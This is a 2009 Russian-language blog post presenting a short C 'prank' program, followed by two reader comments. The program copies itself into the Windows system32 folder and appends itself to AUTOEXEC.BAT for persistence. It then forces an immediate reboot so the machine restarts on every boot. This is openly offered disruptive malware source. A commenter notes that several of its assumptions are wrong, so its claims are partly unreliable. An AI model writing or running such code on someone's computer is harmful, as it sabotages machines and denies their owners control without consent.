«Знание — могущество».

17 октября 2009

Простейший прикол на C

написал Figaroo в рубрике Разное @ 01:07

Представляю Вашему вниманию простейшую программу — прикол, написанную на C.
Одного запуска в Windows с правами администратора будет достаточно, чтобы компьютер уходил в перезагрузку при включении.

#include <stdio.h>
#include <stdlib.h>
int main (void) {
	int num;
	unsigned char *buf = malloc(129);
	FILE *f1, *f2, *f3;
	f1 = fopen("./prikol.exe", "rb");
	f2 = fopen("C:\\WINDOWS\\system32\\prikol.exe", "wb");
	while (num = fread(buf, 1, 128, f1)) {fwrite(buf, 1, num, f2);}
	fclose(f1);
	fclose(f2);
	f3 = fopen("C:\\AUTOEXEC.BAT", "wt");
	fputs("\nC:\\WINDOWS\\system32\\prikol.exe\n", f3);
	fclose(f3);
	system("shutdown -r -f -t 1");
	return 0;
}

*Программа предоставлена исключительно в ознакомительных целях.*

Чтобы такие приколы не срабатывали, настройте Ваш firewall. Например, Agnitum Outpost на повышенном уровне безопасности может контролировать обращения к системным объектам (типа C:\\AUTOEXEC.BAT) и вызов функции system().

Комментарии (2) »

  1. Есть несколько ошибочных допущений.

    >> Одного запуска в Windows с правами администратора будет достаточно

    Зачем запускать неизвестно что от администратора?

    >> C:\\WINDOWS\\

    Система может стоять в другом каталоге :)

    >> Чтобы такие приколы не срабатывали, настройте Ваш firewall. Например, Agnitum Outpost на повышенном уровне безопасности может контролировать обращения к системным объектам (типа C:\\AUTOEXEC.BAT) и вызов функции system().

    Не поможет. Запущенная от администратора программа может сделать с системой что угодно, вопрос лишь в квалификации ее автора. Например, можно считать ntoskrnl с диска, и перезаписать аутпостовские хуки оригинальным кодом, тем самым оставив аутпост не при делах.

    >> unsigned char *buf = malloc(129);

    Ошибка, malloc() и calloc() возвращают бестиповый указатель. Нельзя void* и unsigned char* приравнивать без явного преобразования.

    >> чтобы компьютер уходил в перезагрузку при включении.

    В NT autoexec.bat выполняется при входе юзера в систему.

    http://support.microsoft.com/kb/104199

    Кроме того, думаю что в лучших традициях в NT игнорируются все команды, кроме prompt, path и temp.

    Комментарий by Prescott — 5 ноября 2009 @ 02:47


  2. 2Prescott: Вы правы в большинстве утверждений, но Вы не обратили внимания на название темы: "Простейший прикол на C". :-)

    >> Ошибка, malloc() и calloc() возвращают бестиповый указатель. Нельзя void* и unsigned char* приравнивать без явного преобразования.

    Только в C++, мы же говорим о C.

    Комментарий by Figaroo — 5 ноября 2009 @ 08:25


RSS-лента комментариев к этой записи

Оставить комментарий

Пожалуйста, заполните все поля.

© Валерий 'Figaroo' Киркиж, 2008-2012 гг.